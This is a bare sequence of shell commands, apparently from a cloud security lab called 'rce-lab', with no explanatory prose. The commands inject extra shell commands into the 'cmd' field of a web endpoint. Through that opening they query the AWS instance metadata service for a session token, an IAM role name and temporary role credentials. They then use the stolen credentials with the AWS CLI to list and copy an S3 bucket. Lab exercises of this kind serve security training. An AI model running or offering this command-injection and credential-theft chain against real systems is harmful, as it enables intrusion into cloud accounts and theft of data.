curl http://<ec2-ip-address>/fetch-time



curl -X POST -d "cmd=date" http://<ec2-ip-address>/fetch-time



curl -X POST -d "cmd=date; pwd" http://<ec2-ip-address>/fetch-time



# Return required token for IMDSv2

curl -X POST -d "cmd=date; curl -X PUT 'http://169.254.169.254/latest/api/token' -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'" http://<ec2-ip-address>/fetch-time



# Return role name

curl -X POST -d "cmd=date; curl -H 'X-aws-ec2-metadata-token: AQAAAF2zWVJB5c-70OTr0s_57Wj8b2_OvETiUYy5LhXskp1vqmVQIQ==' -G http://169.254.169.254/latest/meta-data/iam/security-credentials/" http://<ec2-ip-address>/fetch-time



# Return temp credentials for role

curl -X POST -d "cmd=date; curl -H 'X-aws-ec2-metadata-token: AQAAAF2zWVJB5c-70OTr0s_57Wj8b2_OvETiUYy5LhXskp1vqmVQIQ==' -G http://169.254.169.254/latest/meta-data/iam/security-credentials/rce-lab-role" http://<ec2-ip-address>/fetch-time



aws configure --profile rce-lab



aws_session_token = <session-token>



aws s3 ls --profile rce-lab



aws s3 sync s3://<bucket-name> ./flag.txt --profile rce-lab